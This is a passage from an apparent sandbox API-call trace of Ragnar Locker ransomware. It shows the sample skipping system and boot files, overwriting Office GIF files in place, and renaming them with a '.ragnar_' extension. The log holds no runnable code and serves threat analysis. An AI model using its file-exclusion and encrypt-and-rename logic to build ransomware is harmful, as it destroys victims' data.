lpFileSize=0x1ea4a4*=140) returned 1 [0099.794] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.794] GetProcessHeap () returned 0x580000 [0099.794] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.794] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.795] VirtualAlloc (lpAddress=0x0, dwSize=0x8c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.796] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.796] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.796] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8c, lpOverlapped=0x0) returned 1 [0099.796] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.796] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.796] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8c, lpOverlapped=0x0) returned 1 [0099.796] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.796] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.796] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.796] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.797] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.797] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.797] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.797] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.797] GetProcessHeap () returned 0x580000 [0099.797] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.797] CloseHandle (hObject=0x10c) returned 1 [0099.797] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" [0099.797] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF.ragnar_FD7BD9FC" [0099.797] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21300_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21300_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.799] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b85800, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51b85800, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21301_.GIF", cAlternateFileName="")) returned 1 [0099.799] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.799] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21301_.GIF" | out: lpString1="BD21301_.GIF") returned="BD21301_.GIF" [0099.799] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF") returned=".GIF" [0099.799] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="autorun.inf") returned 1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="boot.ini") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="bootfont.bin") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="bootsect.bak") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="bootmgr") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="bootmgr.efi") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="desktop.ini") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="iconcache.db") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="ntldr") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="ntuser.dat") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="ntuser.ini") returned -1 [0099.800] lstrcmpiW (lpString1="BD21301_.GIF", lpString2="thumbs.db") returned -1 [0099.800] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.800] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.800] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.800] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.800] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.800] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.800] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif")) returned 0x20 [0099.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.801] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=204) returned 1 [0099.801] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.801] GetProcessHeap () returned 0x580000 [0099.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.801] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.802] VirtualAlloc (lpAddress=0x0, dwSize=0xcc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.802] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.802] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.802] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xcc, lpOverlapped=0x0) returned 1 [0099.802] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.802] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcc, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.802] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xcc, lpOverlapped=0x0) returned 1 [0099.802] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.803] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.803] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.803] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.803] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.803] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.803] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.803] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.803] GetProcessHeap () returned 0x580000 [0099.803] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.803] CloseHandle (hObject=0x10c) returned 1 [0099.803] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" [0099.803] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF.ragnar_FD7BD9FC" [0099.803] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21301_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21301_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.804] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50872b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50872b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21302_.GIF", cAlternateFileName="")) returned 1 [0099.804] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.804] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21302_.GIF" | out: lpString1="BD21302_.GIF") returned="BD21302_.GIF" [0099.804] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF") returned=".GIF" [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="autorun.inf") returned 1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="boot.ini") returned -1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="bootfont.bin") returned -1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="bootsect.bak") returned -1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="bootmgr") returned -1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="bootmgr.efi") returned -1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="desktop.ini") returned -1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="iconcache.db") returned -1 [0099.804] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="ntldr") returned -1 [0099.805] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="ntuser.dat") returned -1 [0099.805] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.805] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="ntuser.ini") returned -1 [0099.805] lstrcmpiW (lpString1="BD21302_.GIF", lpString2="thumbs.db") returned -1 [0099.805] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.805] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.805] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.805] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.805] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.805] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.805] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif")) returned 0x20 [0099.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.806] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=285) returned 1 [0099.806] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.806] GetProcessHeap () returned 0x580000 [0099.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.806] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.807] VirtualAlloc (lpAddress=0x0, dwSize=0x11d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.807] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.807] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.807] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11d, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x11d, lpOverlapped=0x0) returned 1 [0099.807] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.807] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11d, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.808] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x11d, lpOverlapped=0x0) returned 1 [0099.808] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.808] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.808] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x11d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.808] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.808] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.808] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.808] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.808] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.808] GetProcessHeap () returned 0x580000 [0099.808] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.808] CloseHandle (hObject=0x10c) returned 1 [0099.808] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" [0099.808] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF.ragnar_FD7BD9FC" [0099.808] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21302_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21302_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.812] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cf3a400, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4cf3a400, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21304_.GIF", cAlternateFileName="")) returned 1 [0099.812] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.812] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21304_.GIF" | out: lpString1="BD21304_.GIF") returned="BD21304_.GIF" [0099.812] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF") returned=".GIF" [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="autorun.inf") returned 1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="boot.ini") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="bootfont.bin") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="bootsect.bak") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="bootmgr") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="bootmgr.efi") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="desktop.ini") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="iconcache.db") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="ntldr") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="ntuser.dat") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="ntuser.ini") returned -1 [0099.812] lstrcmpiW (lpString1="BD21304_.GIF", lpString2="thumbs.db") returned -1 [0099.812] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.812] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.812] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.812] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.812] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.812] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.812] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif")) returned 0x20 [0099.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21304_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21304_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.813] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=591) returned 1 [0099.813] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x246, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.813] GetProcessHeap () returned 0x580000 [0099.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.813] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | 